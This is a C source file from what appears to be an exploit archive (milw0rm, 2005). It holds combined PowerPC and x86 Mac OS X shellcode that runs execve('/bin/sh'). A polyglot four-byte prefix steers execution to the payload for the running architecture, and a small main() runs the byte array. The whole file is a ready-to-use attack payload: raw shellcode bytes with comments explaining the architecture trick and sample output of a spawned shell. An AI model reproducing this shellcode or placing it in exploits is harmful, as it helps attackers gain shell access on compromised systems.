62 lines
No EOL
1.6 KiB
C
62 lines
No EOL
1.6 KiB
C
/*
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* -[ dual.c ]-
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* by nemo@felinemenace.org
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*
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* execve("/bin/sh",{"/bin/sh",NULL},NULL) shellcode
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* for osx (both the ppc and x86 version.)
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*
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* Sample output:
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*
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* -[nemo@squee:~/shellcode]$ file dual-ppc
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* dual-ppc: Mach-O executable ppc
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* -[nemo@squee:~/shellcode]$ ./dual-ppc
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* sh-2.05b$ exit
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*
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* -[nemo@squee:~/shellcode]$ file dual-x86
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* dual-x86: Mach-O executable i386
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* -[nemo@squee:~/shellcode]$ ./dual-x86
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* sh-2.05b$ exit
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*/
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char dual[] =
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//
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// These four bytes work out to the following instruction
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// in ppc arch: "rlwnm r16,r28,r29,13,4", which will
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// basically do nothing on osx/ppc.
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//
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// However on x86 architecture the four bytes are 3
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// instructions:
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//
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// "push/nop/jmp"
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//
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// In this way, execution will be taken to the x86 shellcode
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// on an x86 machine, and the ppc shellcode when running
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// on a ppc architecture machine.
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//
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"\x5f\x90\xeb\x48"
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// ppc execve() code by b-r00t
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"\x7c\xa5\x2a\x79\x40\x82\xff\xfd"
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"\x7d\x68\x02\xa6\x3b\xeb\x01\x70"
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"\x39\x40\x01\x70\x39\x1f\xfe\xcf"
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"\x7c\xa8\x29\xae\x38\x7f\xfe\xc8"
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"\x90\x61\xff\xf8\x90\xa1\xff\xfc"
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"\x38\x81\xff\xf8\x38\x0a\xfe\xcb"
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"\x44\xff\xff\x02\x7c\xa3\x2b\x78"
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"\x38\x0a\xfe\x91\x44\xff\xff\x02"
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"\x2f\x62\x69\x6e\x2f\x73\x68\x58"
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// osx86 execve() code by nemo
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"\x31\xdb\x6a\x3b\x58\x53\xeb\x18\x5f"
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"\x57\x53\x54\x54\x57\x6a\xff\x88\x5f"
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"\x07\x89\x5f\xf5\x88\x5f\xfa\x9a\xff"
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"\xff\xff\xff\x2b\xff\xe8\xe3\xff\xff"
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"\xff/bin/shX";
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int main(int ac, char **av)
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{
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void (*fp)() = dual;
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fp();
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}
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// milw0rm.com [2005-11-13]
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